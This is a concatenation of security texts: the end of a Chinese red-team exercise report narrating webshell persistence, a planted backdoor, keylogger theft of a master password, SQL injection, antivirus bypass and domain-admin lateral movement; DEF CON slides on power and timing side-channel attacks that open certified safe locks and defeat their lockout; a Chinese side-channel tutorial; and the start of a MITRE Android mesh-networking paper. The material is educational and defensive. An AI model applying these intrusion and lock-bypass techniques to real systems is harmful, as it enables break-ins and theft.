继而获得了Webshell权限。然而脚跟还没站稳,蓝队 的管理员便发现了OA系统存在异常,对OA系统应用及 数据库进行了服务器迁移,同时修复了漏洞。 本来是个很悲伤的事情,然而小P测试发现:蓝队 虽然对OA系统进行了迁移并修复了漏洞,但是居然没 有删除全部Webshell后门脚本。部分后门脚本仍然混 杂在OA程序中,并被重新部署在新的服务器。攻击队 依然可以连接之前植入的Webshell,顺利提权,拿到 实战攻防演习之 红队视角下的防御体系突破 22 了服务器权限。 拿到服务器权限后,小P团队发现蓝队的管理员居 然连接到OA服务器进行管理操作,并将终端PC主机的 磁盘全部挂载到OA服务器中。“既来之,则安之”,小 P发现这是一个顺手牵羊的好机会。 小P团队小心翼翼地对管理员身份及远程终端磁盘 文件进行确认,并向该管理员的终端磁盘写入了自启 动后门程序。经过了一天的等待,蓝队管理员果然重 启了终端主机,后门程序上线。在获取到管理员的终 端权限后,小P很快发现,该管理员为单位运维人员, 主要负责内部网络部署、服务器运维管理等工作。该 管理员使用MyBase工具对重要服务器信息进行加密存 储,攻击队通过键盘记录器,获取了MyBase主密钥, 继而对MyBase数据文件进行了解密,最终获取了包括 VPN、堡垒机、虚拟化管理平台等关键系统的账号及 口令。 最终,小P团队利用获取到的账号口令登录到虚拟 化平台中,定位到演习目标系统的虚拟主机,并顺利 获取了管理员权限。至此,工作正式完成! 实战攻防演习之 红队视角下的防御体系突破 23 五、暗渡陈仓——迂回渗透取得突破 在有明确重点目标的实战攻防演习中,通常蓝队 都会严防死守、严阵以待,时时刻刻盯着从外网进来 的所有流量,不管你攻还是不攻,他们始终坚守在那 里。发现有可疑IP立即成段成段地封堵,一点机会都不 留。此时,从正面硬刚显然不划算,红队一般会采取 暗度陈仓的方式,绕过蓝队的防守线,从其他没有防 守的地方去开展迂回攻击,小M这回遇到的就是这样一 个硬骨头。 小M团队在确定攻击目标后,对目标企业的域 名、ip段、端口、业务等信息进行收集,并对可能存在 漏洞目标进行尝试性攻击。结果发现大多数目标要么 是都已关闭,要么是使用高强度的防护设备。在没有 0day且时间有限情况下,小M决定放弃正面突破,采 取暗度陈仓策略。 通过天眼查网站,小M了解到整个公司的子公司及 附属业务分布情况,目标业务覆盖了香港、台湾、韩 国、法国等地,其中香港包涵业务相对较多,极大可 能有互相传送数据及办公协同的内网,故决定选择从 香港作为切入点。 经过对香港业务进行一系列的踩点刺探,小M 实战攻防演习之 红队视角下的防御体系突破 24 团队在目标企业的香港酒店业务网站找到一个SA权 限的注入点,成功登陆后台并利用任意文件上传成 功getshell。通过数据库SA权限获取数据库服务器 system权限,发现数据库服务器在域内且域管在登录 状态。因服务器装有赛门铁克,因此采取添加证书的 方式,成功绕过杀软并抓到域管密码,同时导出了域 hash及域结构。 在导出的域结构中发现了国内域的机器,于是小M 团队开始尝试从香港域向目标所在的国内域开展横向 渗透。在国内域的IP段内找到一台服务器并getshell, 提权后抓取此服务器密码。利用抓取到的密码尝试登 陆其他服务器,成功登陆到一台杀毒服务器,并在杀 毒服务器上成功抓到国内域的域管密码。使用域管账 号成功控制堡垒机、运维管理、vpn等多个重要系统。 通过大量的信息收集,小M团队最终获得了渗透目 标的IP地址,利用前期收集到的账号密码,成功登陆目 标系统,并利用任意文件上传漏洞拿到服务器权限。 至此,整个渗透工作结束。 实战攻防演习之 红队视角下的防御体系突破 25 第五章 红队眼中的防守弱点 奇安信通过对政府、央企、银行、证券、民生、运 营商、互联网等行业的红队实战工作,发现各行业安 全防护具备如下特点: 一、资产混乱、隔离策略不严格 除了大型银行之外,很多行业对自身资产情况比较 混乱,没有严格的访问控制(ACL)策略,且办公网和 互联网之间大部分相通,可以直接使远程控制程序上 线。 除了大型银行与互联网行业外,其他很多行业在 DMZ区和办公网之间不做或很少做隔离,网络区域划 分也不严格,给了红队很多可乘之机。 此外,几乎所有行业的下级单位和上级单位的业务 网都可以互通。而除了大型银行之外,其他很多行业 的办公网也大部分完全相通,缺少必要的分区隔离。 所以,红队往往可以轻易地实现实施从子公司入侵母 公司,从一个部门入侵其他部门的策略。 实战攻防演习之 红队视角下的防御体系突破 26 二、通用中间件未修复漏洞较多 通过中间件来看,Weblogic、Websphere、Tom cat、Apache、Nginx、IIS都有使用。Weblogic应用比 较广泛,因存在反序列化漏洞,所以常常会被作为打 点和内网渗透的突破点。所有行业基本上都有对外开 放的邮件系统,可以针对邮件系统漏洞,譬如跨站漏 洞、CoreMail漏洞、XXE漏洞来针对性开展攻击,也 可以通过钓鱼邮件和鱼叉邮件攻击来开展社工工作, 均是比较好的突破点。 三、边界设备成为进入内网的缺口 从边界设备来看,大部分行业都会搭建VPN设备, 可以利用VPN设备的一些SQL注入、加账号、远程命 令执行等漏洞开展攻击,亦可以采取钓鱼、爆破、弱 口令等方式来取得账号权限,最终绕过外网打点环 节,直接接入内网实施横向渗透。 四、内网管理设备成扩大战果突破点 从内网系统和防护设备来看,大部分行业都有堡垒 机、自动化运维、虚拟化、邮件系统和域环境,虽然这 些是安全防护的集中管理设备,但往往由于缺乏定期的 维护升级,反而都可以作为开展权限扩大的突破点。 实战攻防演习之 红队视角下的防御体系突破 27 附录 奇安信红队能力及攻防实践 自2016年奇安信集团协助相关部委首次承办网络 实战攻防演习以来,这种新的网络安全检验模式已经 有了长足的发展。 仅2019年上半年,奇安信就参与了全国范围内60 多场实战攻防演习的红队活动,攻破了200余个目标系 统。累计派出红队85支次、投入红队专家246人次、 投入工作量1793人天。项目涵盖党政机关、公安、政 企单位、民生、医疗、教育、金融、交通、电力、银 行、保险、能源、传媒、生态、水利、旅游等各个行 业。在实战演习过程中,奇安信集团派遣最优秀的红 队高手全力参与工作,并在所有行业化的实战攻防演 习排名中均列前2位,其中排名第1的次数高达75%, 是业内公认的红队王者。 在协助国家主管机关的工作中,针对等级保护重要 信息系统以及国家关键基础设施,深入开展实战攻防 工作,使得国家相关重点信息系统的整体安全性有了 显著提高和可靠保障;在协助央、国企单位工作中, 对企业本级以及下级单位的重点网络信息系统、敏感 系统、工控系统,进行全面的红队渗透攻击,极大地 提升了各级单位应对网络安全突发事件能力,大幅度 提高了相关网络及系统的防护水平。 实战攻防演习之 红队视角下的防御体系突破 28 如今,奇安信集团已组建起10余支技术高强、能 力突出的网络红队,聘请具备APT高级渗透实战经验的 专职攻防专家30余人,是目前国内规模最大、人数最 多的红队队伍。 实战攻防是个对抗的过程,无论对抗中的攻还是 防,其目的都是为了提升网络的安全防护能力,加强 安全应急的响应处置能力。奇安信集团将肩负“让网络 更安全、让世界更美好”的使命,以攻促防,为提升网 络安全水平贡献力量。 实战攻防演习之 红队视角下的防御体系突破 29
pdf
DEF CON 24 Side-channel attacks on high- security electronic safe locks [email protected] Background – Electronic safe locks Image: ellenm1 on Flickr / CC BY-NC Background – Electronic safe locks • In scope: decent, listed locks – UL Type 1 High-security electronic lock • Out of scope: cheap, poor-quality locks Sargent & Greenleaf 6120-332 6120 – System model MCU Outside of safe Battery Keypad EEPROM Bolt motor Inside of safe Lock Steel safe door ¼” hole for wires Buzzer 6120 – Circuit model Data line volts 100 k Data line Volts across R1 Current through R1 R1 1 0 0 volts 5 volts 50 A 0 A Higher current consumption means the bit being read from EEPROM is a 0, and a lower current means the bit is 1 Vcc Bit value 5 volts 0 volts EEPROM Amplifier Oscilloscope Sense Resistor Battery MCU 6120 – Power analysis • 1 nibble per keycode digit • Only lower byte in each EEPROM word is used 6120 – Demo S&G Titan PivotBolt Titan – Timing attack • Entire six-digit keypad sequence is captured before starting comparison to key from EEPROM • Pseudocode of Titan keycode comparison: bool check_code(int enteredCode[6], int actualCode[6]) { for (int digit = 0; digit < 6; digit++) if (enteredCode[digit] != actualCode[digit]) return false; return true; } Each iteration takes another 28 s Titan – Timing attack • Current consumption markers for timing delta Titan – Timing attack Current Time Suppose that the actual code is 908437 Code tried Current trace 123456 Current Time 923456 Current Time 913456 Current Time 903456 Correct run length 0 1 1 2 Wrong Wrong Wrong Wrong Titan – Timing attack • The more digits you have correct, the more delayed the current-consumption rise Titan – Lockout Try wrong keycode failureCount++ EEPROM Failure count >= 5 LOCKOUT Titan – EEPROM write example Starting value: 0xA4 Time from start of write Write value: 0x1C Value in EEPROM 400 s 0xA4 2500 s 3000 s 0 500 s 0x?? 0x00 0x?? 0x1C Titan – Interrupt EEPROM write 2.7v Brownout 600 s from detection 1.1 ms from write start Supply voltage Current consumption The hack – Custom PCB • Micro-ammeter • Power supply/control for lock • Keypress simulator The hack – Algorithm • Try all values for first digit – Oversample to reduce noise • Longest time delay correct value • Repeat for digits 2 through 5 • Every fifth attempt, clear the lockout counter • Brute-force the sixth digit – Just 10 attempts Titan – Demo Conclusions • Applicability to other systems and mitigations – Power analysis – Timing attack – EEPROM manipulation • Burglars aren’t going to bother with this Image: HomeSpotHQ on Flickr / CC BY Feel free to email me: [email protected] Backup slides Background – Electronic safe locks • Opening a lock – User enters code on keypad – Microcontroller (MCU) checks code – MCU drives motor to free bolt if correct Background – Electronic safe locks • Safe lock certification – UL Type 1 High-security electronic lock – Many others • Out of scope: cheap, non-certified locks – Many of these can be easily brute-forced – Some can be “spiked” (bolt motor driven directly) – Some can be bypassed mechanically (see, e.g., [2] or [3]) Background – Electronic safe locks • All logic resides inside safe • Only keypad and battery are outside safe • Connection is via wires through a small hole in the door metal • Hardened steel plate in lock • No direct access to the lock PCB possible Background – Side channel attack • Side channel attack – Gaining knowledge about the state of a device through unintentional information leakage • Attacks used in this talk – Power analysis – Timing attack • And, a related concept – Forcing a system into a particular state using unexpected inputs (in this case, removing power) S&G 6120 • Sargent & Greenleaf 6120-332 safe lock – UL listed Type 1 high-security electronic lock – Still being produced (as of at least late 2015) – Designed and certified ca. 1994 – ST62T25C microcontroller (ST) – 93LC46B serial EEPROM (Microchip) – 9v alkaline battery located in external keypad – S&G is a large, well-respected lock manufacturer 6120 – MCU 6120 – EEPROM 6120 – Keycode storage Suppose that the actual code is 908437 EEPROM address Keycode digits Stored word value 0x00 0x01 0x02 0x03 Start of next keycode Keycode 1 0x 0 0 9 0 0x 0 0 8 4 0x 0 0 3 7 9, 0 8, 4 3, 7 Keycode 2 . . . S&G 6120 (and Titan) Keypad Interior 6120 – Wires from keypad Line Description Battery Ground Keypress 9v nominal … 5v when idle, less depending on key being pressed There are four wires from the keypad to the lock inside the safe: Buzzer Hi-Z when idle, pulled to ground for buzzer/LED 6120 – Design • Keycodes stored in the clear in EEPROM • MCU reads/writes EEPROM via 3-wire serial – “Microwire” interface (similar to SPI) • Nice and slow – EEPROM to MCU ~1.5 kbit/s – Hundreds of milliseconds to read all data • Lock reads all keycodes out of EEPROM on every attempt 6120 – Vulnerability • Susceptible to power analysis • Keycode bit values change amount of current consumed during EEPROM read-out • Translate current changes into key values • Enter key values on keypad • Zero modification required • Zero evidence of tampering left behind – Covert entry 6120 – Actual vs Power Zoomed • Yellow: Actual data line between MCU and EEPROM • Blue: Current into lock (2 A per mV) 6120 – Annotated trace • In this case, the keycode is “123456” 6120 – Microammeter U1A Oscilloscope Lock 10 9v Battery + - 2.2 k 2.2 k 220 + - Vcc Vcc U1B 220 220 2.2 k Current sense 21 dB amp 20 dB amp 6120 – Demo • Only basic equipment required to read code – Cheap oscilloscope – 1x probe – 10 current-sense resistor – A few wires • Don’t even need an amplifier! – Set scope to 500 uV/div 6120 – Notes • Final bit in each word (i.e., LSB for every even keycode digit) is shifted lower in amplitude by about 20 A regardless of value • Reading first three words is enough for master keycode • Remaining words are for additional keycodes • Failure count written after all codes read out 6120 – Lesson 1 • Don’t store data in the clear – I mean, good lord… 6120 – Lesson 2 • Store critical data on-chip if possible – Harder to probe when initially investigating hardware – Faster access to data – Possibly smaller current swing 6120 – Lesson 3 • Use a fast serial bus – Simple power analysis is harder at higher speeds due to capacitive and inductive effects – Higher speeds could make attack inaccessible to the simple tools shown in the demo Titan – Hardware • Motor-driven acme screw to unblock bolt • STM8S105K6 MCU runs at 2 MHz • Keypad identical to one with S&G 6120 – Resistor ladder – 9v alkaline battery • Designed c.a. 2010, currently in production • UL listed Type 1 high-security electronic lock Titan – MCU Titan – Keypad emulation • Keypad is resistor ladder hooked to voltage divider with a 20.0 k source leg – e.g., “3” is 7.68 k • Simulate by sending the voltage that the divider would produce for a given key – e.g., 7.68 k is 1.40 V • Lock tolerates voltage error of ±0.10 V • Debounce time ~30 ms • Key interval ~120 ms Titan – Timing attack Current Time Current Time Digit wrong Digit correct t=0 Titan – Timing attack • Power analysis for timing markers – Watch current drawn • Current consumption jumps about 29.6 ms before keycode comparison completes – Use this rise as a reference point for timing – Reasonably stable time reference (jitter about ±10 s) • Keycode comparison takes about 200-300 s – Depends on how many digits before mismatch • At end of keycode comparison, current rises another 275 A – Determine success/failure based on delay of this rise relative to reference point ≈29.6 ms earlier – 28 s more delay per additional correct digit Titan – Timing attack • It’s like in the movies where they get one digit of the electronic lock’s code at a time – …and the others are all changing rapidly Image: The Thomas Crown Affair (1999) Titan – Timing attack • Noise – Jitter in ADC sampling times – Jitter in lock clock – Noise from the ADC itself – Noise of unknown origin in current consumption – Timing is very tight and amplitude difference between noise and signal is very small • Oversample – Sample each time delay for each digit multiple times – 10x oversampling produces very reliable results – Adds significantly to recovery time – Will work with lower oversampling multiplier but less reliable • Detect errors – If average times aren’t the expected amount longer (28 s) during testing for the next digit, the previous digit’s value is probably wrong, so go back – If the time for a digit is way too early or too late, retry it Titan – Timing attack • Attack algorithm: – Try keycode starting with 0 • Remaining five key digits don’t-care – Watch for timing signs showing trial digit match/mismatch – If mismatch, try again with keycode starting with 1 • Retry with increasingly high digit values (2, 3, 4, etc.) until “match” signature encountered (i.e., 28 s longer delay) – Once first digit in keycode discovered, repeat for second, third, fourth, fifth digit – Sixth digit is a special case (brute force the 10 possibilities) • Reduces worst-case attempt count from 1,000,000 to as few as 60 Titan – Timing attack • Entire six-digit keypad sequence is captured before starting comparison • Entered code is compared one digit at a time to the keycode stored in EEPROM • If digit in entered keycode sequence doesn’t match, exits loop immediately Titan – Lockout defeat • Normally, 5 incorrect codes in a row leads to a 10-minute penalty lockout period • Incorrect code count tracked in EEPROM • One of two goals: – Prevent increment of failure counter, or: – Be able to reset failure counter Titan – Lockout defeat • Goal is to get Vdd below STM8 brownout voltage (2.7v) before the EEPROM write has completed • If STM8 is running (not halted), and the battery voltage (Vbatt) is 9.0v, roughly 2.7 ms elapse between floating Vbatt and Vdd going below the STM8 brownout voltage • Can be reduced to about 600 s if Vbatt starts at 3.5v and a key on keypad is held down (to increase current drain) • To defeat the FW battery check, voltage must be reduced only after the STM8 has been woken up Titan – EEPROM write timeline EEPROM erase of destination block begins t≈0 EEPROM write begins t=0 Old data no longer readable; values now all return 0x00 t=500 s Earliest time that MCU will consider write “complete” t=3.0 ms New data starts to be readable t=2.5 ms Time Initial conditions: MCU Vdd = 5v MCU clock = 2 MHz Destination in EEPROM has existing data (i.e., not 0x00) How EEPROM in STM8 behaves after starting a byte-size write Latest time that MCU will consider write “complete” t=6.0 ms Titan – Normal wrong code User finishes entering incorrect keycode Debounce complete; FW starts comparing entered keycode to stored keycode FW finds mismatch between entered keycode and stored keycode EEPROM write starts for “failed attempt” counter EEPROM block erased; failed-attempt count at 0x00 EEPROM write of new non-zero failed attempt count complete “Wrong code” buzzer sounds Time Titan – Lockout prevented User finishes entering incorrect keycode Debounce complete; FW starts comparing entered keycode to stored keycode FW finds mismatch between entered keycode and stored keycode EEPROM write starts for “failed attempt” counter EEPROM block erased; failed-attempt count at 0x00 Time Remove power from lock MCU drops below minimum voltage before EEPROM write completes Invalid-attempt count left at 0x00 (default EEPROM erased value) Titan – Lockout defeat • Failure count stored in EEPROM • EEPROM writes on STM8 are asynchronous – 500 s to complete if EEPROM block already blank – 3 ms to complete if block has existing data – EEPROM writes become blocking if second write attempted before first finishes • If we can cut power to the STM8 after it has revealed if a digit in the keycode is valid but before the failure has been recorded… – …we get as many attempts as we want! Titan – Lockout defeat • Either: – Kill power before the erase-write cycle starts, or – Kill power after the erase part of the cycle starts but before the new value is written • Usually, erased values in EEPROM are 0xFF – Not in the STM8 – In the STM8, EEPROM erased value is 0x00 – Thus, erased value is a valid count: “zero failures” Titan – Lockout defeat • Measured EEPROM behavior when power cut – Block already erased • 500 s (or less) to commit new data – Existing data in block • About 500 s from start of cycle until old data no longer readable and bytes return 0x00 • About 3 ms from start of cycle until new data becomes persistent Support hardware – Custom PCB • Microammeter – Low-side current sense for simplicity – Gain: 40 dB – Low-pass filter (second-order, fc=25 kHz) • Power control – Quickly apply or remove power to/from lock – Easily switch lock from 9 V supply to 3.5 V supply • Keypress simulator – Use DAC and buffer to provide voltages that simulate keys being pressed on the keypad Titan – Attack improvement 3.8 years 15 minutes Titan – Automated code recovery • First five digits via timing attack • Sixth digit through brute force (10 attempts) – Try keycode ending with each possible value – Check if buzzer line indicates error beep sequence • Two longish beeps (~0.5 s) = Wrong code • No beep = Correct code – Every fifth attempt, try a known-wrong keycode and kill the power during the invalid-attempt count EEPROM update to reset the count to 0x00 – Go through all ten possibilities this way Titan – Lesson 1 • Use constant-time comparisons – Would defend against timing attack Titan – Lesson 2 • Assume failure first – Increment “failed attempt” counter before key comparison begins, not after – Then, clear “failed attempt” count only if the correct code was actually entered • However… – Don’t make the erased value of the EEPROM/flash a valid value for the counter (i.e., treat 0x00 and/or 0xFF as invalid) Titan – Lesson 3 • Run MCU clock faster – Less margin for timing attacks – Not a total solution, but could increase the difficulty of the attack – Be careful that a faster MCU clock doesn’t lead to emission of other stronger signals Are there better locks? Yup! • FF-L-2740B federal specification – GSA-approved locks – For securing material classified up to Top Secret • Mandates significantly better design – Power source internal (no power analysis) – Resistance to various attacks for at least 20 man- hours – Approval revoked if design found vulnerable Disclosure • First attempt to contact S&G in February 2016 • Continued attempts through various channels over the following months • Never got a useful response References [1] Gun safe analysis http://gunsafereviewsguy.com/ [2] “Safes and Containers: Insecurity Design Excellence” Tobias, Fiddler, and Bluzmanis. DEF CON 20 [3] “Safe to Armed in Seconds: A Study of Epic Fails of Popular Gun Safes” Deviant Ollam Cluebat Quartermaster. DEF CON 19 [4] “Hacking smart safes” Salazar and Petro. DEF CON 23 [5] DoD Lock Program http://www.navfac.navy.mil/navfac_worldwide/specialty_centers/e xwc/products_and_services/capital_improvements/dod_lock.html Also, a hat-tip to Dave (EEVblog) for nearly giving me a heart attack when I ran across this video of his and thought he beat me to the punch: https://www.youtube.com/watch?v=mdnHHNeesPE
pdf
侧信道分析 感谢北京理⼯⼤学-王安教授的讲解 0x00 什么是侧信道 什么是侧信道?⼀个简单的例⼦就是某些泡⾯和饮料中奖,以可能会随机附赠⽕腿肠,⽽带有⽕腿肠的桶和不带⽕ 腿肠的桶重量不⼀样,摇晃起来响声不⼀样,通过摇晃我们能简单分析出“哪桶是中奖了的泡⾯”这⼚商不希望我们 知道的信息,这就是侧信道。这样的例⼦在⽣活中还有很多,⽐如对于⼩区按键门禁,长期按的⼏个键上的油脂、 指纹、磨损,同样也是我们猜解其密码的侧信道信息,⽐如⼀个六位数密码的门禁,猜测空间是106 ⽽当我们获知 其密钥的组合时,我们猜测空间就降低到了 6! 相对于偏社会⼯程学⼀点的例⼦,看见⼩区⼀家⼈扔垃圾,⽽他们扔的垃圾⾥⾯有:婴⼉奶粉罐头瓶、啤酒瓶、少 量烟头、头发丝团、外卖盒等,根据这些侧信息能得出什么结论呢? 猜测是:这家三⼜,男主⼈爱饮酒,⼥主⼈留长发,有个⼀两岁岁⼤的婴⼉,男主⼈没有⼯作或者⼯作时间较为⾃ 由,⼥主⼈外出⼯作到很晚,根据婴⼉奶粉价格还可以估算出该家庭的⼤致情况,如果婴⼉奶粉属于中等偏上的价 位,那么就是男主⼈是作家⼀类的可以在家⼯作的职业,⽽⼥主⼈的⼯作是家庭主要稳定收⼊来源 为什么呢?在这个例⼦中,侧信息怎么映射到真实信息上去的呢? 因为⼀般⽗母都会选择给婴⼉喝⾃⼰承受价位内最好的奶粉 ,所以据此可以很好估算出家庭经济状况,在⼀家三⼜ 的情况下,垃圾中有外卖盒反映不常做饭,结合啤酒瓶,推测出⼥主⼈饭点⼤概率不在家,也就是加班到很晚。在 有婴⼉需要照顾的情况下加班到很晚,那就说明⼥主⼈的经济来源是家⾥⼀⼤⽀柱,结合烟头和有婴⼉的情况亦可 以推测男主⼈⼀直 在家,可能没⼯作或者从事作家类的⾃由职业,结合烟头判断作家类职业概率⾼。整体佳通状 况可以看出,男主⼈能做到有收⼊,但是不多,也不稳定 ⾔归正传,那什么是侧信道呢? 我的理解是侧信道就是在做正常⾏为的时候,⾏为本⾝所带来的对环境的扰动,产⽣的各种信息 核⼼思路就是⾏为本⾝不⼀样,对物理环境的扰动不⼀样,扰动提供的信息也不⼀样。⽽有⼼者可以通过分析这些 侧信息,反推出⾏为本⾝,这就是侧信道 0x01 密码学中的侧信道 经典密码学中,基本假设是密钥计算时是安全的,攻击者不可接触的 ⽽侧信道分析中,通过不同的视⾓,去审视密码设备在运⾏过程中与外界环境存在的物理交互,通过这些物理扰动 信息,泄露可获取密钥信息 计时攻击 [CRYPTO 1996 提出] P. Kocher: Timing Attacks on Implementations of Diffie-Hellman, RSA, DSS, and Other Systems. CRYPTO 1996, LNCS, vol. 1109, pp. 104-113, Springer, Heidelberg (1996) 计时攻击运⽤⽐较⼴泛,在很多场景都可以使⽤,⽐如SQL injection⾥⾯的时间盲注,⽐如⼀些软件实现的密码学 操作,或者密钥验证算法。⽐如经典的linux的strcmp命令,其实际实现⽅式是逐个字节进⾏⽐较 如果我们进⾏测试的话,⽐如6位数字密钥,调⽤strcmp进⾏⽐较,当我们第⼀位猜测正确的时候,strcmp会继续 ⽐较下⼀字节,错误的话就会终⽌,在运算时间上⾯是有不⼩差异的。我们可以逐位进⾏猜解,把猜解空间从106 次⽅降低为60,基本等于破解密码 static inline int strcmp(const char * cs,const char * ct) { int d0, d1; register int __res; __asm__ __volatile__( "1:\tlodsb\n\t" //装⼊串操作数,即从DS段中esi位置的字符传送到 al 寄存器,然后 esi 根据 DF指向串中下⼀个元素 ,DF=0,增加;DF=1,减少 "scasb\n\t" //扫描串操作数,即从 al 中减去ES段中edi位置的字符,不保留结果,只改变标志 CF,AF,PF,SF,OF,ZF,若字符相等,ZF=1,否则ZF=0。若DS段中字符⼩于ES段中串,则CF=1,后⾯sbb运算 会出现-1 "jne 2f\n\t" //如果两个字符不相等,则转到标号 "testb %%al,%%al\n\t" //如果al中全是0,则ZF=1(逻辑与结果为0),如果字符串结束遇到null零 "jne 1b\n\t" //如果ZF=0(逻辑与结果不为0)即字符串未结束,则继续⽐较 "xorl %%eax,%%eax\n\t" //⾃身异或,结果为0,CF=0,eax清空 "jmp 3f\n" //向前跳⾄3:,退出,返回值为0 "2:\tsbbl %%eax,%%eax\n\t" //32位sbb src,dest;dest-src-CF,存⼊dest,如果CF=1, 则结果为-1(全是1);否则为0。(结果为-1时标志位:CF=1,SF=1,OF=1,ZF=0,PF=1) "orb $1,%%al\n" //对0位或1,保证结果为-1或者1。如果结果为0,或1之后为1,即字符⼤,返回 1,字符⼩,返回-1 "3:" :"=a" (__res), "=&S" (d0), "=&D" (d1) :"1" (cs),"2" (ct)); return __res; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 计时攻击就是通过时间上泄露出来的测信息来进⾏分析的攻击⼿段 能量分析攻击 [CRYPTO 1999] 在实际硬件运算中,计算是由底层的运算单元和逻辑电路完成的,每个运算所需要的电路不同,电路从电源总线上 索取的电压也不同,简单来说就是给⼀份能量⼲⼀份活 能量分析也可以类⽐为,通过看某户⼈家的⽔表电表的消耗,判断这家有多少⼈在,活动时间多久,在⼲什么,有 什么电器 针对单独的加密芯⽚,如图所⽰,当我们能获知其消耗的能量后,将其放⼊⽰波器,我们能明显看到其波形的不同 电磁分析 Gandolfi K, Mourtel C, Olivier F. Electromagnetic analysis: concrete results. Cryptographic Hardware and Embedded Systems - CHES 2001, LNCS, vol. 2162. Springer Berlin Heidelberg, 2001: 251-261. 电磁分析原理与能量分析相似,在密码算法在硬件上运⾏的过程中,不同的运⾏状态所产⽣的电流,由麦克斯韦的 理论,会在空⽓中逸散⼤量的电磁信号。当然,由芯⽚中电路产⽣的电磁信号很弱,基本需要贴着芯⽚才能探测到 电磁分析和能量分析在攻击⼿段上某种意义上是等价的关系,⼀般选取更为⽅便的⼀种来进⾏分析。相对于能量分 析的优点是不需要修改芯⽚的外围电路,缺点是对环境要求⾼,需要⼀个电磁屏蔽的环境 缓存分析 D. Page. Theoretical use of cache memory as a cryptanalytic side-channel. Technical Report CSTR-02-003, Department of Computer Science, University of Bristol, 2002. 缓存就是数据交换的缓冲区,在计算机体系机构中,为了最⼤限度在成本和性能之间寻求最优解,遵从计算机中的 类似82定律,即某个时间段内,计算机⼤部分的时间在读写少量的内存单元。现代计算机设置了多级缓存,读写速 度越快的存储单元价格越贵,使⽤多级缓存能让成本较⼩提升的情况下,⼤幅提⾼计算机性能 针对缓存的分析也是时间分析上的⼀种,当某块内存由本不该互相知道彼此在⼲什么的进程读写,当⼀块内存访问 速度明显快(在实际中是数量级的差别)的时候,可以合理猜测另⼀个进程已经访问过该块内存。著名的计算机体 系结构漏洞:幽灵和熔断,就是利⽤CPU缓存机制,将不可访问的内存中的信息泄露出去 0x02 简单能量分析 简单能量分析,跟名字⼀样,很简单,也不需要太⾼深的密码学知识,本质上就是依据不同条件判断后进⼊的分⽀ 不同,对应的操作不同,消耗的能量也就不同,可能这⾥对“简单分析”的概念还是⽐较模糊,接下来就以例⼦说明 DES的简单能量分析 在DES算法中有这么⼀个操作,叫PC-1置换 PC-1置换的实现如果不做侧信道防护的话,就可以通过简单能量分析破解 步骤1:把B清零 步骤2:按A的⽐特编号进⾏56次循环: if A[i] = 0: do nothing if A[i] = 1: 查表得知这个1在B中的去向,并写⼊B相应的位置 1 2 3 4 那么,⽤之前的思路来看,A[i] = 0的时候什么都不做,⽽A[i] = 1的时候做了⼀些事情,这⾥的A就是我们要 获取的密钥,在汇编指令层⾯看的话,Key的某些位为0的时候会执⾏条件jmp指令,⽽某些位为1的时候条件jmp指 令判定失败,进⼊下⼀步指令,对置换来说就是数据MOV操作,仔细观察下图波形,再⾃⼰设置密钥做⼀次实验后 就会发现,能量/功耗波形是有规律可循的 使⽤低通滤波器后,可以更清楚的看到这个规律性的能量曲线 ⼤数乘法的简单能量分析 在⼀些密码算法中,⼤数乘法的软件/硬件实现是密码算法中常见的运算 AES的简单能量分析 在AES算法中的简单能量分析是对其中列混合阶段的MixColumns也就是列混合,进⾏攻击,列混合⼀般的实现是 有限域上的多项式计算,类似于y1 = 1000 0001时 其常规的实现⽅法为 和上⾯⼀样,多⼀个运算和少⼀个运算的功耗曲线是完全不⼀样的,在进⾏运算时的功耗曲线上,低⾕就表⽰当前 y的值是0,⾼峰代表当前y的值是1,结合密码学的分析⽅法,就可以很容易推算出AES运算的初始密钥 A 1 0 1 1 B x 1 0 1 0 <- 被攻击的值 --------------- 0 0 0 0 若B[i]=0,什么都不做,功耗低 1 0 1 1 若B[i]=1,累加A,功耗⾼ 0 0 0 0 若B[i]=0,什么都不做,功耗低 1 0 1 1 若B[i]=1,累加A,功耗⾼ ----------------- 1 2 3 4 5 6 7 8 if MSB(y1) = 0: y1 << 1 if MSB(y1) = 1: (y1 << 1)^100011011 1 2 3 4 RSA的简单能量分析 RSA总所周知,是基于⼤质数分解难题,在运算时需要计算某个数的⼤幂指数的值,如 在算法实现上会采⽤平⽅乘算法 说⼈话就是,⽐如对于x111000,其中的1,会做平⽅-乘(左移位并在当前位置1),对0就只做平⽅(左移位) 好了,现在你已经学会RSA简单能量分析了,快去破解RSA吧(S为平⽅,M为乘) ECC的简单能量分析 ECC是椭圆曲线加密算法,是基于椭圆曲线数学理论实现的⼀种⾮对称加密算法。ECC是建⽴在基于椭圆曲线的离 散对数问题上的密码体制,给定椭圆曲线上的⼀个点P,并选取⼀个整数k,求解K=kP很容易(注意根据kP求解出来 的K也是椭圆曲线上的⼀个点);反过来,在椭圆曲线上给定两个点K和P,若使K=kP,求整数k是⼀个难题 在上图所⽰的算法中,可以看到对于不同的kj输⼊,会只计算Q=2Q或者仍需要计算Q=Q+P,那么你已经学会破解 ECC了,开始“找茬”吧
pdf
Off Grid communications with Android Meshing the mobile world Josh “m0nk” Thomas The MITRE Corporation Bedford, MA USA [email protected] Jeff “Stoker” Robble The MITRE Corporation Bedford, MA USA [email protected] The SPAN project is an open source implementation of a generalized Mobile Ad-Hoc Network framework. The project’s goals are to bring dynamic mesh networking to smart phones and to explore the concepts of Off-Grid communications. Keywords: MANET; OLSRd; Mesh Network; Android; Decentralized; Peer to Peer; Smartphone I. INTRODUCTION TO SPAN Recent worldwide events have showcased that our current communications infrastructure is not as reliable as we would like to believe. Cellular towers can be destroyed by natural phenomena or simply overloaded beyond capacity and Wi-Fi hotspots are reliant on power and network connectivity, two things in short availability during a disaster or catastrophic event. We’ve seen these issues surface time and time again over the past years, from Katrina to Haiti to Fukushima. It's always the same problem: no connectivity and no communication. The SPAN project (Smart Phone Ad-Hoc Networks) attempts to ameliorate these issues by providing an alternate means for information dispersal. The project utilizes MANET (Mobile Ad-Hoc Network) technology to provide a resilient backup framework for communication between individuals when all other infrastructure is unavailable or unreliable. The MANET based solution is a headless, infrastructure-less network that allows common smart phones to link together in a dynamic way. The SPAN project is harnessing the ubiquity of smart phones to provide durable communications. The MITRE based SPAN team has created an open source framework for implementing MANET networks that will be released to the public in late summer. The framework provides not only a full “proof of concept” implementation of a functional MANET but also allows for “plug and play” of custom routing protocols. The routing protocols are the true cornerstone of the MANET architecture as they adapt the network for scalability, mobility and power constraints of mobile devices. The SPAN team is currently working on an adaptive routing protocol that will dynamically adjust itself based on the current runtime metrics of the mesh network 